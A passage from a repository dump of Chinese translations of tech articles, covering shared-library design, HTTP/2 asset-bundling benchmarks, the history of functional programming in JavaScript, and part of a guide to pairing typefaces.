最少依赖的轻量库\n\n试着把大型的共享代码库拆分成一系列小的、功能性强的库，每一个库都只解决一个特定的问题。试着让这些库仅仅依赖其实现语言的标准库。没错，只使用语言的标准库编程可能有时会不那么舒服，但和为公司中的所有团队（如果你的库是开源的，则不局限于你的公司）所带来的极大益处相比，这点麻烦微不足道。\n\n当然，零依赖并不总是可行，尤其是考虑到那些基础组件相关的问题。对于这种情况，尽量减少每一个独立库的依赖。同时，有时候把集成了其它库的部分代码独立成一个单一的、与你的库的核心逻辑相互独立的模块也是可取的。\n\n### 留下选择余地\n\n永远不要认为在某个时间点那些服务会把你的共享库升级到最新版本。换句话说，不要强迫其它团队升级代码库，而应该给他们按照各自的进度进行升级的自由。尽管这意味着你需要把自己的库改造成能够前后兼容，但如此一来你便实现了服务间的解耦，不仅降低了微服务架构的操作成本，还为你带来了一些好处。\n\n可能的话，不光要避免代码库的强制升级，还要让别人自行选择是否要使用你的库。\n\n### 自底而上的库设计方式\n\n最后，如果你真的要用共享库的方式，我所见到的成功的项目都是采用自底而上的方式设计代码库的。与实际用例中可用性低的象牙塔式库设计原则不同，让你的团队先实现各个微服务，仅当某些在产品中证明过自己的固定的模式在不同的服务中出现时，才将它们提取出来放入库中。\n\n1.\nEvans, Eric: Domain-Driven Design: Tackling Complexity in the Heart of Software, p. 355 [ ↩](#fnref:1)\n"
  },
  {
    "path": "TODO/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2.md",
    "content": "> * 原文地址：[The Right Way to Bundle Your Assets for Faster Sites over HTTP/2](https://medium.com/@asyncmax/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2-437c37efe3ff)\n> * 原文作者：[Max Jung](https://medium.com/@asyncmax?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-right-way-to-bundle-your-assets-for-faster-sites-over-http-2.md)\n> * 译者：[yct21](https://github.com/yct21/)\n> * 校对者：[ParadeTo](https://github.com/ParadeTo)，[altairlu](https://github.com/altairlu)\n\n# HTTP/2 下提高网站加载速度的资源打包指南\n\n加载速度一直是 web 开发的重点。随着 HTTP/2 的出现，我们用很少的精力就可以提升网站性能。本文首先为不熟悉的读者简要介绍了 HTTP/2 的基本概念，随后列出了基准测试时所得到的数据，并在此基础上给出了一些简洁的参考建议，确保网站对 HTTP/2 进行了优化。\n\n## HTTP/2 的概念与重要性\n\n自 1997 年诞生以来，HTTP/1.1 一直以一成不变的方式工作着，但网站却日渐臃肿起来。终于，在 2015 年，HTTP 协议迎来了大版本更新。HTTP/2 更加注重页面加载的延迟，毕竟用户对一个 web 应用的性能的感受，[取决于延迟而不是带宽](https://docs.google.com/presentation/d/1r7QXGYOLCh4fcUq0jDdDwKJWNqWK1o4xMtYpKZCJYjM/edit#slide=id.g518e3c87f_2_0)。HTTP/2 采用了[多路复用](https://http2.github.io/faq/#why-is-http2-multiplexed)的工作方式，辅以首部压缩等手段，以解决延迟的问题。\n\n在精心设计下，HTTP/2 的语义兼容于 HTTP/1.1。站在开发者的角度，我们无需因此改变写代码的方式。不过在 HTTP/2 的环境下，为了最大化多路复用所能带来的性能提升，我们需要对传输资源文件的方法做出调整。随着HTTP/2 这门技术的流行以及支持它的主机服务商的增加，优化网站在 HTTP/2 下的性能，从而在永不停息的网站速度竞赛中保持竞争力，显得尤为重要。根据 W3Techs 的统计，2016 年 4 月，全球流量前一千万的网站中，已经有 7.1% 的网站支持 HTTP/2，这个数据还在不断上升。同时，CloudFlare 发表了一篇有意思的[文章](https://blog.cloudflare.com/introducing-http2/)，介绍了 SPDY & HTTP/2 在现实世界的流量统计。其中指出，早在 2015 年的 12 月，就已经有 81% 的网络流量，是以 SPDY 或者 HTTP/2 的方式进行传输的。\n\n考虑到 SPDY 作为 HTTP/2 的先驱，提供了绝大部分 HTTP/2 能带来的优化，因此本文将其视为 HTTP/2 的变种。而若将 SPDY 与 HTTP/2 放在一起统计，我们可以看到，HTTP/2 已经不是未来的概念，而是现已成熟的技术。它已无所不在，绝大部分的桌面或移动浏览器，都至少支持 SPDY 和 HTTP/2 其中的一个。\n\n## HTTP/2 打包的谣言\n\n所以要最大化 HTTP/2 的收益，我们到底应该怎样组织网站的资源文件？在 HTTP/1.1 的时代，将多个资源文件拼成一个大文件来减少总连接数，是对网站性能最重要的提升。\n\n这种方法的坏处是，浏览器的缓存管理功能会受到影响。哪怕一个很小的资源文件发生了变动，整个合并后的文件都要再重新传输一遍。当然在 HTTP/1.1 的环境下，拼接文件所带来的性能提升，HTTP/2 下，要远远高于其带来的损失。\n\n而另一方面，HTTP/2 可以同时传输多个小文件，无需过多的额外开销。因此，在 HTTP/2 环境下，[合并资源文件一直被视为错误的做法](https://docs.google.com/presentation/d/1r7QXGYOLCh4fcUq0jDdDwKJWNqWK1o4xMtYpKZCJYjM/edit#slide=id.g518e3c87f_0_318)。毕竟，避免了合并文件，可以让浏览器的缓存更加有效地运作。\n\n然而在实际环境中，我们发现[事情并不简单](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)。\n\n和主流观念不同，我们的基准测试显示，合并资源文件这种做法即使是在 HTTP/2 下也能提升网站性能。和 HTTP/1.1 下拼接为一个文件的策略不同，HTTP/2 中更好的方法是将资源分组，分别打包。这种做法不仅能减少延迟，还可以发挥浏览器缓存管理的作用。而即使客户端只支持 HTTP/1.1，这里也只是从传输一个合并文件变为传输多个打包文件，页面加载的表现不会受到太大影响。\n\n## HTTP/2 基准测试的细节\n\n这里的基准测试每次都使用 4 个页面，各个页面会从服务器请求并加载不同数量的 JavaScript 文件，用以模拟文件合并的不同层级。每次测试所用的 JavaScript 文件数量各有不同，但传输的数据总量保证是一致的。\n\n测试选取了搭建于 3 个不同地区的 AWS 上的 web 服务器，用以模拟客户端与服务器间在不同距离上的连接。客户端采用了 15Mbps 的 Comcast 民用光纤宽带，使用 Windows 10 和 Chrome 50 进行测试。\n\n后文的测试结果图表中，4 列代表 4 种不同的文件合并级别，每一行给出的数据分别是对 10 中不同的样本数据进行测试的结果（关闭了浏览器缓存），每次测试之间会有一段间隔时间。\n\n* **1000**：载入 1000 个小型 JavaScript 文件，每个 819 字节，用以模拟不做任何合并的策略。\n* **50**：载入 50 个中性 JavaScript 文件，每个 16399 字节，用以模拟中度的合并策略。\n* **6**：载入 6 个大型 JavaScript 文件，每个 136666 字节，用以模拟较激进的合并策略。\n* **1**：载入 1 个巨型 JavaScript 文件，每个 819999 字节，用以模拟极端的合并策略。\n\n### 从圣何塞到美国西部（北加利福尼亚）\n\n![](https://cdn-images-1.medium.com/max/800/1*_7p74XMRQjuoeEYcA_jjYg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*lFAaGiYTuBHVZM7lguCsjA.png)\n\n结果显示，当文件数量从 1000 个降到了 50 后，加载速度平均上升了 66%。当文件数到达 6 个乃至 1 个时，相比于完全不做合并时的加载速度，也有几乎 70% 的提升。\n\n### 从圣何塞到美国东部（北弗吉尼亚）\n\n![](https://cdn-images-1.medium.com/max/800/1*Iepr45KgMK6pQ263xTFkOg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*37Z0AJ3JLerHGc_yRUY9Tw.png)\n\n在这次的基准测试中，随着文件数量从 1000 降至 50，加载速度平均提升了 28.4%。\n\n### 从圣何塞到亚太地区（首尔）\n\n![](https://cdn-images-1.medium.com/max/800/1*Kpxr2LBNWR75grAagVgu0g.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*f5rh5cgcRuzJHLeBQ9sYPA.png)\n\n这里我们可以看到，由于客户端与服务器的距离过远，页面载入的速度明显降低。但当文件数量从 1000 降到 50 以下时，加载速度还是有平均 27% 的提升。\n\n## 测试结果与重要发现\n\n* 即使在 HTTP/2 的环境下，每种程度的文件合并都能带来显著的性能提升。\n* 如果客户端与服务器的距离很近（连接的延迟非常短），性能的提升相当显著（提升了 3 倍）。\n* 1000 以下的 3 个文件数量级别（50，6 和 1 个文件），性能提升的差距可以忽略。\n* 随着客户端和服务器的距离逐渐增加（延迟逐渐加大），所有样本中加载速度的波动都在增加。也就是说在超长距离的测试中，由于数据的波动太大，比较任意 2 个数据可能是无意义的。\n\n## 结论与建议\n\n### 尽量将资源文件打包传输\n\n尽管 HTTP/2 被设计成一个可以高效传输许多小文件的协议，但当需要传输的文件数达到一定规模后，每个文件带来的额外开销也会积少成多，影响效率。此外，浏览器和服务器本来就都有并行传输数据流的上限。[Chrome 的上限似乎是 256](https://github.com/gourmetjs/http2-concat-benchmark-docs/blob/master/images/chrome_limit.png)；而在 NGINX 中用于基准测试的 ngx_http_v2_module 里面，会使用 [http2_max_concurrent_streams](http://nginx.org/en/docs/http/ngx_http_v2_module.html#http2_max_concurrent_streams) 这个配置参数，它的默认值为 128。一个现代的 web 应用，如果不去做任何合并，资源文件的数量可以轻而易举到达好几百，导致 HTTP/2 需要[分多次进行传输](https://github.com/gourmetjs/http2-concat-benchmark-docs/blob/master/images/stream_concurrency.png)。\n\n为了提高浏览器缓存的效率，资源文件要分成多个组进行打包，而不要全部合并成单独的一个文件。每一个包中应该包含一组相关的资源，如果这样的话，改动就可以控制在组内而不影响其他组。\n\n举个例子，对于每个 NPM 模块都单独打包，是一个不错的策略。每当某个模块更新时，只有该模块对应的浏览器缓存会失效。这个策略会导致打包后的文件数量增加，但我们可以从基准测试中看出，当传输的文件数量低于一个值（本次测试中的 50）时，得益于 HTTP/2 的多路复用，性能不会受到过多影响。上文已经提过，别轻信 HTTP/2 下不要做任何合并的建议。从测试结果中可以看出，不合并策略下，传输各个小文件带来的开销，积累起来毫无疑问会影响性能。\n\n### 考虑兼容 HTTP/1.1\n\n尽管 HTTP/2 （或者 SPDY) 已被广泛使用，我们依然不能忽略 HTTP/1.1 协议。这点在垂直应用中更加重要。\n\n为了同时保证 HTTP/2 和 HTTP/1.1 环境下的性能，最好方法是根据浏览器支持的协议，采取不同的文件合并策略（对 HTTP/2 使用适度的文件合并，对 HTTP/1.1 使用极端的文件合并）。不过在大部分情况下，维护 2 种不同合并策略，是没必要的过度优化。\n\n如果我们在 HTTP/1.1 下也采取前文所建议的分组打包的策略会如何呢？\n\n![](https://cdn-images-1.medium.com/max/800/1*fy8n3lBauSinX37LlLGyAA.png)\n\n如你所见，用 HTTP/1.1 传输 50 个打包文件的结果，并不会比传输 6 个或者 1 个文件要差太多。因此，在 HTTP/2 和 HTTP/1.1 间找到平衡，选取一个合适的文件打包数量，是一个合理的妥协。\n\n> **注1**： 在 HTTP/1.1 模式的测试中，我们使用了 Chrome 作为浏览器，传输使用的是 HTTP 而不是 HTTPS。由于 Chrome 浏览器在打开 HTTP/1.1 的网站时使用 6 个并发的 TCP 连接，所以现实世界中的 HTTP/1.1 浏览器在资源文件增加时，可能会遭遇性能的显著下降。\n> **注2**：注意不要拿 HTTP/1.1 的数据直接去和之前 HTTP/2 测试中的数据进行比较。HTTP/2 的测试在繁忙的工作日里进行，而 HTTP/1.1 测试执行于周日下午，结果会优于 HTTP/2 测试。\n\n### 继续使用雪碧图\n\n在 HTTP/2 环境下，出于和合并文件同样的理由，大家可能认为，[雪碧图](http://www.w3schools.com/css/css_image_sprites.asp) 是应该避免使用的。\n\n然而，如果雪碧图中的每个图标文件都足够小，且采用了相同的设计主题，那么相比分别传输单独的图片文件，使用雪碧图可能是更好的方法。\n\n因为如果雪碧图中的图标之间相互联系，并共享同样的设计主题，那么当设计发生变化时，很有可能雪碧图中的很多图标都需要更新，此时小粒度的缓存不再有优势。\n\n### 谨慎使用 data URI\n\n还有一种打包资源文件的方法，是采用 [data URI](https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs)的形式，直接将资源内联在网页中。这种方法在 HTTP/2 中一般也被认为是应当避免的。\n\n内嵌 data URI 的利弊，是一个更为微妙的问题，合适的答案应该是“看情况而定”。如果资源文件非常小（小于 100 字节），采用内联更加合理。即使资源文件相对较大，如果这些资源经常发生变动，或者这些变动必须和资源所在的页面同步，内联也更有利。\n\n### 同时支持 SPDY 和 HTTP/2\n\n这是一个部署问题，和开发的关系不大。如今还有很多浏览器只支持 SPDY，HTTP/2 对 SPDY 的彻底取代还需要一定的时间。\n\n而在此之前，我们还不能忽视 SPDY。在部署应用时，我们要让服务器同时支持 SPDY 和 HTTP/2 协议。CloadFlare [开源了](https://blog.cloudflare.com/open-sourcing-our-nginx-http-2-spdy-code/) 一个补丁，可以让 NGINX 做到这点。\n\n---\n\n考虑到 HTTP/2 起步不久，还没有得出相关的最佳实践方法。尽管如此，web 开发者最好还是留心本文提出的建议，尽可能地榨取 HTTP/2 提供的性能提升，灵活地利用好浏览器缓存。\n\n这里可以查看基准测试代码：[https://github.com/gourmetjs/http2-concat-benchmark](https://github.com/gourmetjs/http2-concat-benchmark)\n\n这里可以查看文章中所有的图表: [https://github.com/gourmetjs/http2-concat-benchmark-docs](https://github.com/gourmetjs/http2-concat-benchmark-docs)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md",
    "content": "> * 原文地址：[The Rise and Fall and Rise of Functional Programming (Composing Software)(part 1)](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# [第一篇] 跌宕起伏的函数式编程（软件编写）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\n烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)\n\n> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 编写软件的第一部分。保持关注，接下来还有很多！\n>\n> [<< 从第一篇开始](https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-an-introduction.md) | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/why-learn-functional-programming-in-javascript-composing-software.md)\n\n当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家有一个装满电脑的房间。对于我说，它们有不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”\n\n他不知道，所以我们问了他的老爸，他的老爸爬上一个很高的架子拿下来一本使用 Basic 编写游戏的书籍。就那样开始了我的编程之路。当公立学校开始教授代数时，我已经熟稔其中的概念了，因为编程基本上是代数。无论如何，它都是。\n\n### 组合型软件的兴起\n\n在计算机科学的起步阶段，在大多数的计算机科学在电脑上完成之前，有两位伟大的计算机科学家：阿隆佐·邱奇和艾伦·图灵。他们发明了两种不同、但是普遍通用的计算模型。两种都可以计算所有可被计算的东西（因此，“普遍”）。\n\n阿隆佐·邱奇发明了 lambda 表达式。lambda 表达式是基于函数应用的通用计算模型。艾伦·图灵因为图灵机而知名。图灵机使用定义一个在磁带上操作符号的理论装置来计算的通用模型。\n\n总的说，他们共同说明了 lambda 表达式和图灵机功能上是相等的。\n\nlambda 表达式全是函数组成，依靠函数来编写软件是非常高效和有意义的。本文中，我们将会讨论软件设计中函数的组合的重要性。\n\n有三点造就了 lambda 表达式的特别之处：\n\n1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` 的右侧，可以看作一个匿名函数表达式 `(x, y) => x + y`。\n2. lambda 表达式中的函数只接收一个参数。他们是一元的，如果你需要多个参数，函数将会接受一个输入返回一个调用下一个函数的函数，然后继续这样。非一元函数 `(x, y) => x + y` 可以被表示为一个像 `x => y => x + y` 的一元函数。这个把多元函数转换成一元函数的过程叫做柯里化。\n3. 函数是一等公民的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。\n\n总的说来，这些特性形成一个简单且具有表达性的方法来构造软件，即使用函数作为初始模块。在 JavaScript 中，函数的匿名和柯里化都是可选的特性。虽然 JavaScript 支持这些 lambda 表达式的重要属性，它却并不强制使用这些。\n\n这些经典的函数组合方法用一个函数的输出来作为另一个函数的输入，例如，对于组合：\n\n\tf . g\n\t\n也可以写做：\n\n\tcompose2 = f => g => x => f(g(x))\n\t\n这里是你使用它的方法：\n\t\n\tdouble = n => n * 2\n\tinc = n => n + 1\n\t\n\tcompose2(double)(inc)(3)\n\n`compose2()` 函数使用 `double` 函数作为第一个参数，使用 `inc` 函数作为第二个参数，同时对于两个函数的组合传入参数 `3`。再看一下 `compose2()` 函数所写的，`f` 是 `double()`，`g` 是 `inc()`，同时 `x` 是 `3`。函数 `compose2(double)(inc)(3)` 的调用，实际上是三个不同函数的调用：\n\n1. 首先传入 `double` 同时返回一个新的函数。\n2. 返回的函数传入 `inc` 同时再返回一个新的函数。\n3. 再返回的函数传入 `3` 同时计算 `f(g(x))`，最后实际上是 `double(inc(3))`。\n4. `x` 等于 `3` 同时传给 `inc()`。\n5. `inc(3)` 等于 `4`。\n6. `double(4)` 等于 `8`。\n7. 函数返回 `8`。\n\n组合软件时，可以被看作一个由函数组合的图。看一下下面：\n\t\n\tappend = s1 => s2 => s1 + s2\n\tappend('Hello, ')('world!')\n\n你可以想象成这样：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*LSXnRbKzQ4yhq1fjZjvq6Q.png\">\n\nlambda 表达式对软件设计产生了很大的影响，在 1980 年之前，计算机科学领域很多有影响的东西使用函数来构造软件。Lisp 在 1958 年被创作出来，很大程度上受到了 lambda 表达式的影响。如今，Lisp 是广泛使用的第二老的语言了。\n\n我通过 AutoLISP：一个作为脚本语言被用于最流行的计算机辅助设计（CAD）软件：AutoCAD，接触到它。AutoCAD 很流行，实际上所有其他的 CAD 软件都兼容支持 AutoLISP。Lisp 因为以下三点原因被广泛作为计算机科学的课程：\n\n1. 可以很容易的在一天左右学习 Lisp 基础的词法和语法。\n2. Lisp 全是由函数组成，函数组合是构造应用非常优雅的方式。\n3. 我知道的使用 Lisp 的最棒的计算机科学书籍：[计算机程序的结构与解释](https://www.amazon.com/Structure-Interpretation-Computer-Programs-Engineering/dp/0262510871/ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=4896ed63eee8657b6379c2acd99dd3f3)。\n\n### 组合型软件的衰落\n\n在 1970 到 1980 中间的某段时间，软件的构造开始偏离简单的组合，成为一串线性的让计算机执行的指令。然后面向对象编程 — 一个伟大的关于组件的封装和信息传递的思想被流行的编程语言扭曲了，变成为了特性的重用所采取的糟糕的继承层次和 *is-a* 关系。\n\n函数式编程语言退居二线：只有编程极客的痴迷、常春藤盟校的教授和一些幸运的学生可以在 1990 — 2010 年间逃离 Java 的强迫性学习。\n\n对于我们的大多数人来说，已经经历了大约 30 年的软件编写噩梦和黑暗时期。\n\n### 组合型软件的兴起\n\n在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在大概 2006 年以前，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它里面隐藏着一些极其强大的特性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。\n\n![](http://ww1.sinaimg.cn/large/006tNbRwgy1fekui0p6i3j30j50hcmyn.jpg)\n\n我一直在告诉大家 #JavaScript 并不是一门玩具语言。现在我需要展示它。\n\n在 2015 年，使用函数的组合来编写软件又开始流行起来。为了更简单化，JavaScript 规范获得的数十年来第一次主要的更新并且添加了箭头函数，为了更简单的编写和读取函数、柯里化，和 lambda 语句。\n\n箭头函数像是 JavaScript 函数式编程飞升的燃料。现在很少看见不使用很多函数式编程技术的大型应用了。\n\n组合型可以简单、优雅的表达软件的模型和行为。通过把小的、确定的函数组合成稍大的组件并构成软件的过程，可以更为简单的组织、理解、调试、扩展、测试和掌控。\n\n你在阅读下一部分时，可以使用实例实验，记住要把你自己当孩子一样把其他的思想扔在一边在学习中去探索和玩耍。重新发现孩童时发现新事物的欣喜。让我们来做一些魔术吧。\n\n[接下来的第二部分：“为什么要用 JavaScript 学习函数式编程？”](https://github.com/xitu/gold-miner/blob/master/TODO/why-learn-functional-programming-in-javascript-composing-software.md)\n\n### 下一步\n\n想更多的学习 JavaScript 的函数式编程？\n\n[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还没有参加，out 了！\n\n[![](https://cdn-images-1.medium.com/freeze/max/30/1*3njisYUeHOdyLCGZ8czt_w.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n\n*Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。\n\n**他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-secret-of-successful-typeface-combinations.md",
    "content": "> * 原文地址：[The Secret of Nice Typeface Combinations](https://blog.prototypr.io/the-secret-of-successful-typeface-combinations-2e30c740255c#.280jx4ij6)\n* 原文作者：[Simon Li](https://blog.prototypr.io/@simonlidesign?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Ruixi](https://github.com/Ruixi)\n* 校对者：[L9m](https://github.com/L9m)、[wild-flame](https://github.com/wild-flame)\n\n# 漂亮的字体组合的秘密 #\n\n每当我和别人问起他们觉得字体排印中最难的是什么的时候，一个经常听到的回答就是字体的搭配。  我们总是想要使用多种字体来让我们的设计更加生动有趣，但我们中的大多数人其实并不清楚该选择哪些字体来搭配。不同字体该如何搭配，更像是一个秘诀。你一旦知晓，就可以创造出漂亮的字体组合。\n\n### 字体匹配与层次 ###\n\n除去让我们的设计在视觉上更有趣之外，使用多种字体更重要的目的是营造出字体的层次。层次意味着差异。若无差异，则无层次。因此，为了营造出有效的层次，（我们）需要明显的差异，或是强烈的对比。**如果你希望你的字体组合更加完美的话，强烈的对比就是秘诀。**\n\n### 我们一般是怎样做的 ###\n\n我们一般通过在下列三个维度营造对比，以试作标题与正文的区分。\n\n- **字重（Fontweights）：** 标题字体更粗，或者更细。(想要了解更多如何巧妙驾驭字重的信息？移步我的文章 [*What You Can Do with Different Font Weights*](https://blog.prototypr.io/what-you-can-do-with-different-font-weights-1b464caaf0d4#.8hjlg82qu).)\n\n- **字号：** 标题字体更大。\n\n- **颜色：** 为标题字体选择一种与众不同的颜色。\n\n改变字重、字号和文字颜色可以制造对比并营造层次感，但其实我们还可以通过在其他的方面再玩点花样来制造对比（如果我们有不只一种字体可供选择的话）。而且，这些把戏相当有趣。\n\n### 更多的可能性 ###\n\n不同的字体和不同的版式设置为创造对比提供了更多的可能性。字重、字号和字体颜色之外，我们再来看看字体比例、字型、大小写和字距。\n\n#### 字体比例 ####\n\n字体的宽度或比例各有不同。有些狭长而拥挤。有些很规则，在标准范围之内。还有一些粗重而扁阔。下表总结了一些 web 字体应用中的常用比例。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*4OEWTdhzcimqnGUlwOBOtg.png\">\n\n按照比例对 web 常用字体进行分类。\n\n对于设计师来说，我们可以通过字体的宽度来将它们区分开。比方说，我们可以在标题中使用 **Open Sans Condensed Bold** 而在正文中使用 **Open Sans Regular** ； 在标题中使用 **Montserrat** ，在正文中使用 **Source Sans Pro** ； 在标题中使用长体的 **Oswald**，在正文中使用标准的 serif 或者 sans serif ……\n\n![](https://cdn-images-1.medium.com/max/800/1*lllKDvUV84-vW8oUxbzafQ.png)\n\n用字体的不同比例来搭配，形成对比。\n\n注意，太长或是太扁的字体的可读性相较标准字形来的差一些，所以正文部分还是保守一点比较好。\n\n#### 字型（Letterforms） ####\n\n字型即字体的形状。我们对字型比较熟悉，毕竟总得靠它来区分不同的字体。衬线（serif）和无衬线（sans serif）是两种很常见的字型。其他还有包括特印（display）， 书法（handwriting）， 手写（script）等等。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*h7tQtEzQ1wjEbpYLrMJQTw.png\">\n\nGoogle 字体中的不同类型。\n\n为了营造对比，我们挑选出字型不同的字体。还记得我们总会听到的超简单的原则吗？就是选择一种无衬线字体，在挑一种衬线字体来搭配它。这其实是利用字型之间的差异来营造对比。我们也可以选择一种手写（script）或者特印（display）字体作为标题的字体，然后再选择一种衬线（serif）或者是无衬线（sans serif）字体来作为正文字体。这有着无限的可能。 \n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*bNGYs6TTds0lOX--pjyUtg.jpeg\">\n\n在网页模板 [Big Day](https://themeforest.net/item/big-day-a-modern-onepage-wedding-template/18163388?ref=DesignHarbor) 中， 我将书法字体 **Dancing Script** 与优雅的无衬线字体 **Fira Sans** 组合，因为它们在字母结构上的对比十分强烈。\n\n两种字体的字型特征越明显，我们能营造出的对比就越是强烈。相应的，字体搭配的效果也会越好。同理，我们得尽量别要把字型相似的字体组合到一起。这就是为什么你在处理两种不同的衬线字体或者无衬线字体的时候要格外小心。\n\n![](https://cdn-images-1.medium.com/max/800/1*C1NpMFvoM6N2Hal8whoohA.png)\n\n将字型相似的两种字体组合到一起营造出的弱对比只会让读者感到困惑。这时候就不如只用一种字体来的好。\n\n#### 大小写 (小写字母与大写字母) ####\n\n大写字母由于字母等高而看上去像是一个个的方块。小写字母则由于字母上下出头不一而显得轮廓起起伏伏。利用这点不同，我们可以搞一些对比的例子。\n\n![](https://cdn-images-1.medium.com/max/800/1*yGvV_SlWZkk79WUMLEx28w.png)\n\n单词大写与小写所形成的轮廓不同。\n\n如果文档标题不长，我们可以利用全大写来使它看上去和由小写字母组成的段落的区别更加明显。（要是你的标题很长而且长篇连句的话，你可能并不想让它们全部大写。毕竟可读性略差。）\n\n#### 字距 ####\n\n字距，即字母间的距离，也可以用来营造对比。它一般会搭配大写来用，因为大写字母之间的间距可以让词句更容易阅读，还会让它们看起来有一种沉稳而成熟的感觉。\n\n![](https://cdn-images-1.medium.com/max/800/1*dMshyM6p-itEQVll-wr03g.png)\n\n额外的字母间距可以让大写的单词更容易阅读，且看上去带有一种沉稳而成熟的感觉。\n\n记着，尽量避免增加小写字母间的字距，因为这样会破坏词句的轮廓，从而使它们难以阅读。 还有，正文不要增加多余的字距，以便与带有更大字距的标题文字形成对比。\n\n### 增加对比 ###\n\n到此为止，我们总共谈及了 7 种可以营造对比的方法。总结一下：\n\n**字重／字号／文字颜色／字体比例／字型／字母大小写／字距**\n\n记着，对比越强烈，你的字体组合效果就越棒。为了得到更加强烈的对比，我们可以将上述几点叠加使用。举个例子，在我的博客主题 [Jordan](https://themeforest.net/item/jordan-modern-onepage-resume-portfolio-theme/17542551?ref=DesignHarbor) 中，我将 **Oswald** 和 **Merriweather** 进行了组合。 我将 Oswald 用作标题字体，将 Merriweather 用作正文字体。 Oswald 是一种长而瘦的字体。我同时使用了字母全大写和增加字距。这样一来，我在字号、文字颜色、字体比例、字型、字母大小写和字距上都作出了一些区别。强烈的对比，美妙的组合。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*V7KUJtW8Hy20SZ6KFt4lCw.png\">\n\n我在博客主题 [Jordan](https://themeforest.net/item/jordan-modern-onepage-resume-portfolio-theme/17542551?ref=DesignHarbor) 中使用的 **Oswald** 和 **Merriweather** 的组合。在字号、文字颜色、字体比例、字型、字母大小写和字距上都有所不同，因而对比效果十分强烈。\n\n根据这个准则，我们可以很容易的弄出一些很棒的或者是不怎么样的字体组合。在你浏览下面每一组字体组合的时候，利用我们刚刚谈及的 7 个维度来思考一下为什么它们很棒或是有点糟糕。\n\n#### 成功的组合 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*K8elFg6XMjotKe4AgNuoTg.png\">\n\n#### 